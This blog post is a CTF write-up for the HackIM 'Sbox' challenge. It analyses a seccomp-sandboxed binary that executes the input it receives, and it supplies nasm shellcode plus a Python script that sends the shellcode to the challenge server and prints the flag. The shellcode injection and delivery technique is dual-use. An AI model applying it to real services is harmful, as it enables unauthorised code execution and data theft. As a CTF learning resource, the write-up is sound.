staring into /dev/null

barrebas

HackIM CTF - Sbox

Quirky little challenge, this sbox. We’re actually given the keys to the kingdom right away!

Again, this was a one-two with superkojiman, who did the initial reversing! The program needs libseccomp to run. I had to install libseccomp1 on my Ubuntu VM and symlink libseccomp.so.2 to it to make the binary start. libseccomp does syscall filtering. In this case, whatever is added to its internal list is ok, other syscalls are caught and the program exits with SIGSYS.

The syscalls that are whitelisted can be found by looking for seccomp_rule_add calls:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
 80488dc: c7 44 24 0c 00 00 00   mov    DWORD PTR [esp+0xc],0x0
 80488e3: 00 
 80488e4: c7 44 24 08 03 00 00    mov    DWORD PTR [esp+0x8],0x3  ; syscall read
 80488eb: 00 
 80488ec: c7 44 24 04 00 00 ff    mov    DWORD PTR [esp+0x4],0x7fff0000
 80488f3: 7f 
 80488f4: 8b 44 24 34             mov    eax,DWORD PTR [esp+0x34]
 80488f8: 89 04 24                mov    DWORD PTR [esp],eax
 80488fb: e8 b0 fc ff ff          call   80485b0 <seccomp_rule_add@plt>
 8048900: 89 44 24 38             mov    DWORD PTR [esp+0x38],eax
 8048904: 83 7c 24 38 00          cmp    DWORD PTR [esp+0x38],0x0
 8048909: 79 05                   jns    8048910 <main+0x191>
 804890b: e9 d9 00 00 00          jmp    80489e9 <main+0x26a>
 8048910: c7 44 24 0c 00 00 00    mov    DWORD PTR [esp+0xc],0x0
 8048917: 00 
 8048918: c7 44 24 08 04 00 00    mov    DWORD PTR [esp+0x8],0x4  ; syscall write
 804891f: 00 
 8048920: c7 44 24 04 00 00 ff    mov    DWORD PTR [esp+0x4],0x7fff0000
 8048927: 7f 
 8048928: 8b 44 24 34             mov    eax,DWORD PTR [esp+0x34]
 804892c: 89 04 24                mov    DWORD PTR [esp],eax
 804892f: e8 7c fc ff ff          call   80485b0 <seccomp_rule_add@plt>
 8048934: 89 44 24 38             mov    DWORD PTR [esp+0x38],eax
 8048938: 83 7c 24 38 00          cmp    DWORD PTR [esp+0x38],0x0
 804893d: 79 05                   jns    8048944 <main+0x1c5>
 804893f: e9 a5 00 00 00          jmp    80489e9 <main+0x26a>
 8048944: c7 44 24 0c 00 00 00    mov    DWORD PTR [esp+0xc],0x0
 804894b: 00 
 804894c: c7 44 24 08 01 00 00    mov    DWORD PTR [esp+0x8],0x1  ; syscall exit
 8048953: 00 
 8048954: c7 44 24 04 00 00 ff    mov    DWORD PTR [esp+0x4],0x7fff0000
 804895b: 7f 
 804895c: 8b 44 24 34             mov    eax,DWORD PTR [esp+0x34]
 8048960: 89 04 24                mov    DWORD PTR [esp],eax
 8048963: e8 48 fc ff ff          call   80485b0 <seccomp_rule_add@plt>

So that’s not a whole lot to work with. We can only read, write and exit. No execve or open/read/write for us!

Diving deeper

Luckily, when run, the binary does all the heavy lifting for us. It reads the flag and stores it on the heap. It then waits for input, storing that also on the heap and then proceeds to run whatever is entered:

1
2
3
4
5
   0x80489d6 <main+599>:    call   0x80485a0 <read@plt>
   0x80489db <main+604>:    mov    eax,DWORD PTR [esp+0x2c]
   0x80489df <main+608>:    mov    DWORD PTR [esp+0x3c],eax
   0x80489e3 <main+612>:    mov    eax,DWORD PTR [esp+0x3c]
   0x80489e7 <main+616>:    call   eax

This allows us to supply our own shellcode without even having to exploit a vulnerability. There were some annoying things that prevented me from debugging the binary locally, so I hex-edited the binary to make the calls to signal() and alarm() do nothing (edit the plt section for those calls & make the first byte 0xc3 -> RET).

I started binary via socat to test locally. First, let’s see what we have to work with, by sending a single 0xcc (INT 3) via a python script:

1
2
3
4
5
6
7
8
9
10
11
import socket
import time

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('localhost', 5555))

raw_input()
s.send("\xcc")

print s.recv(256)
s.close()

The raw_input() serves to halt the binary, given us the chance to attach gdb with

1
$ gdb -pid `pgrep sbox`

After attaching, I entered ‘c’ to continue execution. Then the binary crashes upon hitting the INT 3. The registers look like this, flag is in the same mmapped region:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
0xb77c6002 in ?? ()
gdb-peda$ i r
eax            0xb77c6000    0xb77c6000
ecx            0xb77c6000    0xb77c6000
edx            0x2000    0x2000
ebx            0xb77a5ff4    0xb77a5ff4
esp            0xbf9eff0c    0xbf9eff0c
ebp            0xbf9eff58    0xbf9eff58
esi            0x0    0x0
edi            0x0    0x0
eip            0xb77c6002    0xb77c6002
eflags         0x207    [ CF PF IF ]
cs             0x73    0x73
ss             0x7b    0x7b
ds             0x7b    0x7b
es             0x7b    0x7b
fs             0x0    0x0
gs             0x33    0x33
gdb-peda$ find "FLAG"
Searching for 'FLAG' in: None ranges
Found 2 results, display max 2 items:
    mapped : 0xb77c8000 ("FLAG\n")

I whipped up some ‘shellcode’ (if you can call it that). We can use the values of the registers in our shellcode to write the flag to STDOUT. For instance, ecx already points to the shellcode. We just have to add 0x2000 to it to get the address of the flag!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
bits 32

push 0x20     # 
pop ebx       # pop 0x20 in ebx
shl ebx, 8    # ebx is now 0x2000
              # adjust ecx so that it points to flag in memory
add ecx, ebx  # ecx = buffer
xor ebx, ebx  # ebx = fd
inc ebx       # STDOUT; STDERR also works
xor edx, edx  # edx = count
mov dl, 0xff  # write out 255 bytes
push 4        # eax = syscall
pop eax       # eax = write
int 0x80      # get flag!

I avoided null-bytes, just in case. The shellcode was compiled with

1
$ nasm -f bin ./shellcode.asm

I had issues with radare2 not recognizing some opcodes (need to look into that!), which is why I switched to nasm. Using a modified version of the earlier python code, I sent the shellcode over to the server:

1
2
3
4
5
6
7
8
9
10
11
12
import socket
import time

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('54.163.248.69',9001))

with open('shellcode') as f:
  data = f.read()
  s.send(data)

print s.recv(256)
s.close()

The result:

1
2
$ python sploit.py
d3sp3r4t3_sh3llc0d3

The flag was d3sp3r4t3_sh3llc0d3.

Comments